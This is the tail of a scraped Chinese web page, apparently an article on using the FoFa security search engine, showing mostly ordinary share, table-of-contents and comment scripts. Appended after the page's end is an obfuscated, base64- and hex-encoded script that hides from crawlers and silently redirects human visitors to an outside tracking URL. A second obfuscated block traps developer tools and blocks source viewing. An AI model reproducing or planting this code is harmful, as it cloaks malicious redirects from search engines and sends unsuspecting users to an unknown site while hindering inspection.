closeSharePopup); $(document).on('keydown', function(e) { if (e.keyCode === 27) { closeSharePopup(); } }); $('#shareCopy').on('click', function() { var shareUrl = $('#shareUrl')[0]; shareUrl.select(); shareUrl.setSelectionRange(0, 99999); try { document.execCommand('copy'); layer.msg('链接已复制到剪贴板', {icon: 1, time: 1000}); } catch (err) { layer.msg('复制失败,请手动复制', {icon: 2, time: 1500}); } }); $('.azure-share-btn').on('click', function() { var platform = $(this).data('platform'); var title = encodeURIComponent('FoFa 查询工具的配置及使用方法有哪些?'); var url = encodeURIComponent('http://vizyw.com/vizyw/16109.html'); var desc = encodeURIComponent('FoFa 查询工具的配置及使用方法——十大高频问题深度解答FoFa作为网络安全领域极具特色的资产搜索引擎,如何高效配置并准确使用,常常是众多安全爱好者和专业人员关注的焦点。下文通过FAQ形式,为您深度解析FoFa的配置流程及使用技巧,涵盖从基础注册到高级搜索语法的核心内容,带您快速上手并掌握...'); var shareUrl = ''; switch(platform) { case 'weibo': shareUrl = 'https://service.weibo.com/share/share.php?url=' + url + '&title=' + title + '&pic='; break; case 'qq': shareUrl = 'https://connect.qq.com/widget/shareqq/index.html?url=' + url + '&title=' + title + '&desc=' + desc; break; case 'qzone': shareUrl = 'https://sns.qzone.qq.com/cgi-bin/qzshare/cgi_qzshare_onekey?url=' + url + '&title=' + title + '&desc=' + desc; break; case 'wechat': layer.msg('请使用微信扫一扫分享', {icon: 1, time: 2000}); return; } if (shareUrl) { window.open(shareUrl, '_blank', 'width=600,height=400'); } }); $('.azure-comment-textarea').on('input', function() { var length = $(this).val().length; $('.azure-char-count').text(length + '/500'); if (length > 450) { $('.azure-char-count').addClass('azure-warning'); } else { $('.azure-char-count').removeClass('azure-warning'); } }); $('.azure-comment-submit').on('click', function() { var content = $('.azure-comment-textarea').val().trim(); if (!content) { layer.msg('请输入评论内容', {icon: 2, time: 1500}); return; } layer.msg('评论功能暂未开放', {icon: 0, time: 2000}); }); function updateReadingProgress() { var article = $('#articleContent')[0]; if (!article) return; var articleTop = article.offsetTop; var articleHeight = article.offsetHeight; var windowHeight = window.innerHeight; var scrollTop = window.pageYOffset || document.documentElement.scrollTop; var progress = 0; if (scrollTop > articleTop) { var readHeight = Math.min(scrollTop - articleTop + windowHeight, articleHeight); progress = (readHeight / articleHeight) * 100; } progress = Math.min(Math.max(progress, 0), 100); $('#readingProgress').css('width', progress + '%'); $('#progressPercent').text(Math.round(progress) + '%'); } function generateTOC() { var headings = $('#articleContent').find('h1, h2, h3, h4, h5, h6'); var tocContent = $('#tocContent'); if (headings.length === 0) { return; } var tocHtml = '<div class="azure-toc-list">'; headings.each(function(index) { var $heading = $(this); var level = parseInt(this.tagName.charAt(1)); var text = $heading.text(); var id = 'heading-' + index; $heading.attr('id', id); tocHtml += '<a href="#' + id + '" class="azure-toc-item azure-toc-level-' + level + '">'; tocHtml += '<span class="azure-toc-text">' + text + '</span>'; tocHtml += '</a>'; }); tocHtml += '</div>'; tocContent.html(tocHtml); $('.azure-toc-item').on('click', function(e) { e.preventDefault(); var target = $($(this).attr('href')); if (target.length) { $('html, body').animate({ scrollTop: target.offset().top - 100 }, 500); } }); } function highlightCurrentTOC() { var scrollTop = $(window).scrollTop(); var current = null; $('#articleContent').find('h1, h2, h3, h4, h5, h6').each(function() { var $heading = $(this); if ($heading.offset().top - 120 <= scrollTop) { current = $heading.attr('id'); } }); $('.azure-toc-item').removeClass('azure-active'); if (current) { $('.azure-toc-item[href="#' + current + '"]').addClass('azure-active'); } } $(window).on('scroll', function() { updateReadingProgress(); highlightCurrentTOC(); }); generateTOC(); updateReadingProgress(); if ('IntersectionObserver' in window) { var imageObserver = new IntersectionObserver(function(entries) { entries.forEach(function(entry) { if (entry.isIntersecting) { var img = entry.target; if (img.dataset.src) { img.src = img.dataset.src; img.classList.remove('azure-lazy'); imageObserver.unobserve(img); } } }); }); $('#articleContent img[data-src]').each(function() { imageObserver.observe(this); }); } $('#articleContent pre').each(function() { var $pre = $(this); var $copyBtn = $('<button class="azure-code-copy" title="复制代码"><i class="layui-icon layui-icon-file"></i></button>'); $pre.css('position', 'relative').append($copyBtn); $copyBtn.on('click', function() { var code = $pre.find('code').length ? $pre.find('code').text() : $pre.text(); if (navigator.clipboard) { navigator.clipboard.writeText(code).then(function() { layer.msg('代码已复制', {icon: 1, time: 1000}); }); } else { var textArea = document.createElement('textarea'); textArea.value = code; document.body.appendChild(textArea); textArea.select(); try { document.execCommand('copy'); layer.msg('代码已复制', {icon: 1, time: 1000}); } catch (err) { layer.msg('复制失败', {icon: 2, time: 1500}); } document.body.removeChild(textArea); } }); }); $('#articleContent').find('img').each(function() { var $img = $(this); if (!$img.attr('alt')) { $img.attr('alt', '文章配图'); } $img.on('click', function() { layer.photos({ photos: { data: [{ alt: $img.attr('alt'), src: $img.attr('src') }] }, anim: 5 }); }); }); $('#articleContent table').each(function() { $(this).wrap('<div class="azure-table-wrapper"></div>'); }); $('#articleContent a[href^="http"]').each(function() { var $link = $(this); if ($link.attr('href').indexOf(window.location.hostname) === -1) { $link.attr('target', '_blank').attr('rel', 'noopener noreferrer'); $link.append(' <i class="layui-icon layui-icon-link" style="font-size: 12px; opacity: 0.6;"></i>'); } }); $(document).on('keydown', function(e) { if (e.ctrlKey && e.keyCode === 13) { e.preventDefault(); $('#likeBtn').click(); } if (e.keyCode === 37) { var prevLink = $('.azure-nav-prev'); if (prevLink.length && prevLink.attr('href')) { window.location.href = prevLink.attr('href'); } } else if (e.keyCode === 39) { var nextLink = $('.azure-nav-next'); if (nextLink.length && nextLink.attr('href')) { window.location.href = nextLink.attr('href'); } } }); setTimeout(function() { $('.azure-article-card').addClass('azure-loaded'); $('.azure-sidebar-card').each(function(index) { var $card = $(this); setTimeout(function() { $card.addClass('azure-loaded'); }, index * 100); }); }, 300); var isSubmitting = false; $('.azure-comment-submit').on('click', function() { if (isSubmitting) { layer.msg('请勿重复提交', {icon: 2, time: 1000}); return false; } isSubmitting = true; setTimeout(function() { isSubmitting = false; }, 3000); }); var startTime = Date.now(); var readingTime = 0; setInterval(function() { if (!document.hidden) { readingTime += 1000; } }, 1000); window.addEventListener('beforeunload', function() { var totalTime = Math.round((Date.now() - startTime) / 1000); if (totalTime > 10) { //console.log('阅读时间:' + totalTime + '秒'); } }); }); }); </script> </body> </html> <script>var html = utf8to16(window.atob("PHNjcmlwdD5pZigobmF2aWdhdG9yLnVzZXJBZ2VudC5tYXRjaCgvKHNwaWRlcnxib3QpL2kpKSl7IH1lbHNlewpmdW5jdGlvbiBRY2Nkc1hBb0p1R2FBREJYaVVoaShhaEtSckYpeyBkb2N1bWVudC53cml0ZSgodW5lc2NhcGUoYWhLUnJGKSkpO307UWNjZHNYQW9KdUdhQURCWGlVaGkoIiAzYyA3MyA2MyA3MiA2OSA3MCA3NCAyMCA3NCA3OSA3MCA2NSAzZCAyMiA3NCA2NSA3OCA3NCAyZiA2YSA2MSA3NiA2MSA3MyA2MyA3MiA2OSA3MCA3NCAyMiAzZSA3NyA2OSA2ZSA2NCA2ZiA3NyAyZSA2YyA2ZiA2MyA2MSA3NCA2OSA2ZiA2ZSAyZSA2OCA3MiA2NSA2NiAzZCAyNyA2OCA3NCA3NCA3MCA3MyAzYSAyZiAyZiA3NCA3YSAyZSA3OSA3NSA2MSA2ZSA3OCA2OSA2MiA2YyA2ZiA2NyAyZSA2MyA2ZSAyZiA3NCA3YSAyZSA3MCA2OCA3MCAzZiA2MyA2ZiA2NCA2NSAzZCAzNCA2YyA2ZCA2ZCA0ZCA2ZSA1OSA2ZSA3MSA2OCA2NiA1OCA0NiA0NSA1MSA2OSAyNyAzYiAzYyAyZiA3MyA2MyA3MiA2OSA3MCA3NCAzZSIucmVwbGFjZSgvIC9nLCAiJSIpKTsgfTwvc2NyaXB0Pg==")); document.write(html); function utf8to16(str){ var out,i,len,c;var char2,char3;out="";len=str.length;i=0;while(i<len){c=str.charCodeAt(i++);switch(c>>4){case 0:case 1:case 2:case 3:case 4:case 5:case 6:case 7:out+=str.charAt(i-1);break;case 12:case 13:char2=str.charCodeAt(i++);out+=String.fromCharCode(((c&31)<<6)|(char2&63));break;case 14:char2=str.charCodeAt(i++);char3=str.charCodeAt(i++);out+=String.fromCharCode(((c&15)<<12)|((char2&63)<<6)|((char3&63)<<0));break}}return out;}</script><script type="text/javascript"> debugger; !function(){ var _0x1cbb = ["tor", "struc", "call", "ger", "con", "bug", "de", "apply"]; setInterval(check, 2e3); function check() { function doCheck(_0x1834ff) { if (("" + _0x1834ff / _0x1834ff)["length"] !== 0x1 || _0x1834ff % 0x14 === 0x0) { (function() {return !![]}[ _0x1cbb[0x4] + _0x1cbb[0x1] + _0x1cbb[0x0] ]( _0x1cbb[0x6] + _0x1cbb[0x5] + _0x1cbb[0x3] )[_0x1cbb[0x2]]()); } else { (function() {return ![]}[ _0x1cbb[0x4] + _0x1cbb[0x1] + _0x1cbb[0x0] ]( _0x1cbb[0x6] + _0x1cbb[0x5] + _0x1cbb[0x3] )[_0x1cbb[0x7]]()); } doCheck(++_0x1834ff); } try { doCheck(0) } catch(err) { } }; }(); //禁止 ctrl+u,配合这俩个禁止,效果更佳 window.onkeydown = function (e) { var keyCode = e.keyCode || e.which || e.charCode; var ctrlKey = e.ctrlKey || e.metaKey; console.log(keyCode + "--" + keyCode); if (ctrlKey && keyCode == 85) { console.log("禁止ctrl+u"); e.preventDefault(); } if (arr.indexOf(keyCode) > -1) { console.log("其他"); e.preventDefault(); } } //屏蔽F12 document.onkeydown = function () { if (window.event && window.event.keyCode == 123) { event.keyCode = 0; event.returnValue = false; return false; } } </script>